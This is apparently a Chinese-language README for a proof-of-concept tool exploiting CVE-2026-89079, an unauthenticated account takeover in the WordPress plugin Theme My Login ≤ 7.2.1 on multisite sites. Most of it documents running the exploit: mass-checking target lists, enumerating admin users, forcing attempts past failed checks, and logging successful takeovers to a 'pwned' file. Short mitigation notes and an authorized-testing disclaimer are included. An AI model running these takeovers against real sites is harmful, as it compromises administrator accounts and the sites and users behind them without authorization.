针对 CVE-2026-89079 的安全研究工具:当 Theme My Login ≤ 7.2.1 启用了网络选项 tml_user_passwords 时,WordPress 多站点上存在未认证账户接管漏洞。
仅限授权测试。 请勿用于您不拥有或未获得书面许可进行测试的系统。
| 插件 | Theme My Login |
| 受影响版本 | ≤ 7.2.1 |
| 修复版本 | 7.2.2+(06b7623) |
| CWE | CWE-269 权限管理不当 |
| CVSS 3.1 | 9.8(严重) |
以下三个条件必须同时成立:
is_multisite() — ms-hooks.php 仅在真正的 WordPress 多站点环境中加载(而非单站点上的 TML /register/)。get_site_option( 'tml_user_passwords' ) — 网络级“用户自选注册密码”选项。tml_ms_filter_pre_insert_user_data() 在 retrieve_password() → wp_update_user() 过程中应用 $_POST['user_pass1']。在丢失密码 POST 请求后返回 checkemail=confirm 响应并不证明密码已被更改;当易受攻击的过滤器未激活时,这是 WordPress 的正常行为。
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
输出文件(默认):
| 文件 | 内容 |
|---|---|
cve_2026_89079_results.jsonl | 所有目标 + finding_status、多站点 / user_pass1 提示 |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1(列:URL、版本、可选的 best_login) |
cve_2026_89079_eligible.txt | 更严格的启发式规则:网络注册 + 注册 user_pass1(并非保证) |
finding_status 的取值包括:NOT_DETECTED、PATCHED、POTENTIALLY_VULNERABLE、PRECONDITIONS_UNKNOWN、VERIFICATION_INCONCLUSIVE、NETWORK_ERROR。
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
常用参数:
| 参数 | 用途 |
|---|---|
--no-require-multisite | 即使多站点启发式检测失败也尝试(许多单站点 TML 站点) |
--require-user-passwords | 当注册页面缺少 user_pass1 时跳过 |
--only-eligible | 仅利用先前 --check-jsonl 中标记为 exploit_eligible 的行 |
--verify-only | 不发送密码 POST / 不登录 — 仅进行表单与端点诊断 |
--skip-version-check | 当 readme 被阻止时强制尝试 |
-q | 更安静的批量日志输出 |
输出: cve_2026_89079_exploit.jsonl、cve_2026_89079_pwned.txt(成功登录记录)。
python -m unittest discover -s tests -v
tml_lost_password_handler() → 核心 retrieve_password()。wp_pre_insert_user_data 过滤器在丢失密码期间忽略更新($update)。wp-signup.php → /register/ 重定向(常见的 单站点 TML 误报)。html.parser 解析;在配置后支持 TML AJAX 丢失密码。tml_user_passwords 或该插件,直至修补完成。user_pass1 的丢失密码 URL 的未认证 POST 请求进行阻止或告警。本项目用于防御性安全研究、补丁验证和经授权的渗透测试。禁止滥用。作者对未经授权的使用不承担任何责任。